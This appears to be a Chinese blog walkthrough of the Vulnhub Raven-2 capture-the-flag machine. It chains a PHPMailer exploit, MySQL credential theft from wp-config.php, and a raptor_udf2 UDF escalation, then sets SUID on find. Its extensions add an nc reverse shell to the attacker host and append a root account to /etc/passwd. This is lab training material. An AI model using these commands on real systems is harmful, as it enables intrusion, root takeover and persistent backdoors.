当前位置:网站首页>[Vulnhub] Raven-2 (mysql-UDF提权)
[Vulnhub] Raven-2 (mysql-UDF提权)
2022-07-16 22:35:00 【葫芦娃42】
目录
下载链接:Raven: 2 ~ VulnHub
描述
Raven 2 是一个中级的 boot2root 虚拟机。 有四个flag要捕获。 在多次违规之后,Raven Security 采取了额外的措施来强化他们的 Web 服务器,以防止黑客进入。你还能突破 Raven 吗?
信息搜集
sudo arp-scan -l
靶机ip:192.168.236.130
sudo nmap -O -T4 -A -p 1-65535 192.168.236.130 扫描一下开放的服务及端口

dirb扫出来了 /vendor 和 /wordpress 目录 在PATH里得到了第一个flag

利用PHPMailer 版本漏洞拿shell
之后利用 searchsploit里得到的40974.py的脚本 getshell (Raven-1里有提到 利用PHPMailer 版本漏洞拿shell)


拓展:这种得到的shell是不稳定的。我们经常以ctrl+c就退出了,还需要重新反弹,很麻烦
具体操作:
进入 shell ctrl+z 挂起进程之后
stty raw -echo
再按 fg命令可以恢复进程到前台执行 这时我们的shell就是稳定的了。
进入 /tmp目录 find / -name flag* 我们溯源和找文件时用的

看见了flag2和flag3


之后我们进入wordpress目录下
在 wp-config.php 里得到mysql的用户名和密码
(cat wp-config.php | egrep 'DB_USER|DB_PASSWORD')

mysql -uroot [email protected]登录mysql
在wordpress 数据库里,wp_posts表中也看见flag3的信息

在wp_users中得到了两位用户,michael和steven
这次密码哈希值和raven1不同,试了试没爆破出来。
select version(); 查看MYSQL版本
UDF提权
看一下mysql版本以及环境条件,是否允许进行UDF提权
条件:
- 知道mysql用户名和密码,并且可以远程登录
- mysql有写入文件的权限,即secure_file_priv的值为空。

show global variables like 'secure%';
如果secure_file_priv值为NULL的话,代表限制mysql导入|导出,此时无法提权
当 secure_file_priv 的值为/tmp/,表示限制mysqld 的导入|导出只能发生在/tmp/目录下,也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld的导入|导出做限制, 此时可提权!
如果是 MYSQL >= 5.1 的版本,必须把UDF的动态链接库文件放置于 MYSQL的安装目录下lib/plugin 文件夹下才能创建自定义函数
查看插件目录: show variable like '%plugin%'; 得知路径为:/uwr/lib/mysql/plugin/
下面我们应该看看mysql是否能远程访问,如果可以的话,我们就可以直接用msf的远程脚本进行攻击,不能远程只能在本地的话,就只能
查看是否能远程登录:
use mysql;
select user,host from user;

这里发现root用户不允许远程登录,只能本地访问,因此不能利用MSF提权。
我们首先应该下载一个恶意exp文件,搜索 mysql 5.x版本 UDF

这个漏洞在exploit database里的ID是1518

之后我们回到kali 里 searchsploit 1518 找到脚本文件位置 下载下来

Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -craptor_udf2.c(脚本文件名字,即1518.c) 之后会生成1518.o
* $ gcc -g -shared -Wl,-soname,raptor_udf2.so-oraptor_udf2.soraptor_udf2.o-lc
* $ mysql -u root -p #登录mysql
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob); # table名字foo可自取
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));# 上面.so 上传至的路径 我当时通过http 上传到了 /tmp目录下 即/tmp/1vxyz.so
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';#应为 show variable like '%plugin%'; 得到的路径:/uwr/lib/mysql/plugin/
* mysql> create function do_system returns integer soname 'raptor_udf2.so';# 上传的脚本编译完之后的.so文件
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
*
* E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
Usage:
第一步:gcc -g -c 1518.c ---- GCC编译.o文件
第二步:gcc -g -shared -o 1vxyz.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件
-o 执行命令后的文件名
-lc -l 库 c库名
执行完后生成了我们的 1vxyz.so 文件
然后我们kali里开启一个http服务:python2 -m SimpleHTTPServer 8081(port)
然后我们在shell里wget下载文件输入:
wget http://192.168.236.128:8081/1vxyz.so

再次 mysql -uroot [email protected] 登入mysql,首先我们应该创建一个表,如何再创建一个任务,创建任务之后再调用这个.so,最终再调用.so其中的一个命令 这个命令会生成一个可执行的文件 输入一句话输入反弹shell命令,最终我们执行完这个命令后就获得root权限。
use mysql 进入mysql数据库
create 1vxyz(line blob) 创建 1vxyz这个表

desc 1vxyz
insert into 1vxyz values(load_file('/tmp/1vxyz.so')); 将文件插入到1vxyz表里

1vxyz表里成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dunpfile是原数据导出!
新建存储函数:
select * from 1vxyz into dumpfile '/usr/lib/mysql/plugin/1vxyz.so';
创建自定义函数do_system,类型是integer,别命(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname '1vxyz.so';
查看以下创建的函数:
select * from mysql.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');

SUID提权
执行find命令
使用find命令执行 shell
touch 1vxyz
find 1vxyz -exec "/bin/sh" \;
或 find 1vxyz -exec "id" \;
python -c 'import pty;pty.spawn("/bin/bash");'
然后 cd /root 下 cat flag4.txt 得到flag4

拓展
拓展1: 或者利用 sys_exec、sys_eval
select do_system('nc -nv 192.168.236.128 6677 -e /bin/bash');
kali里开启监听,nc -lvvp 6677
python -c 'import pty;pty.spawn("/bin/bash");' 转化为交互式

也可以得到root权限
拓展2:增加root用户
openssl passwd gaga
QhpF5eJu44j3I
select do_system('echo "gaga:QhpF5eJu44j3I:0:0:root:/root:/bin/bash" >> /etc/passwd');
su gaga

拓展3:
仅限/bin/bash zsh不行
python -c 'import pty;pty.spawn("/bin/bash")'; 转化为交互式后 ctrl+z
stty raw -echo
fg 即可把伪shell转换为正常的shell
边栏推荐
- How to solve the problem of "Intel VT-x is disabled" when installing virtual machines
- Kubesphere deployment
- A set of simple multipurpose form widget code
- X Window
- Using the third-party built-in module to realize the function of converting numbers to uppercase in nodejs
- 20220707 thread learning inheritance
- 【JS】webAPI---第一弹
- checked实现收藏按钮红心的显示与隐藏
- The difference between cookies and session and JWT
- 大雪菜味题解--P4017 最大食物链计数
猜你喜欢

Mise en œuvre du modèle word2vec skip Gram

Interviewer: after working for two years, you can't solve such a simple algorithm problem?
![[acwing weekly rematch] game 60 20220716](/img/59/38fde90ff1d4221bd35379df1291d1.png)
[acwing weekly rematch] game 60 20220716

TCP silly window syndrome and rate based flow control

Four years after graduation, I changed three software testing jobs. Why am I still anxious?

没有老板的乐视员工过上“神仙日子”,靠什么?

Responsive form style transparent design

Redis has three modes -- master-slave replication, sentinel mode, and cluster

微信小程序开发学习2(模板与配置)

Redis三种模式——主从复制、哨兵模式、集群
随机推荐
php通过form表单上传Excel文件并把Excel数据导入到数据库中
2022 latest Chinese Camtasia studio computer recording screen tool
2022 - 07 - 16 notes d'étude pour le cours d'auto - culture du groupe 5 (tous les jours)
有效降低项目成本,从项目采购管理抓起
What are the advantages of using gtid to configure replication relative to coordinate position
This host supports Intel VT-x, but Intel VT-x is disabled
Routine operation and maintenance inspection, find customers through the monitoring view
X Window
Visionmaster communicates MODBUS with youao robot ur5e
大雪菜味题解--查找文献
曲面的局部理论Differential Geometry之第三章
推荐一个讲即时通信的博客
例行运维巡检,通过监控视图发现客户
checked实现收藏按钮红心的显示与隐藏
Atomic class and CAS
2022-07-15 advanced network engineering (XIX) BGP state machine, interaction principles between peers, factors affecting the establishment of peer relations, peer table, routing table, detailed routin
Fiddler cannot catch the package of wechat applet on PC
MySQL's redolog and binlog
Bufferbloat and inflation
笔记
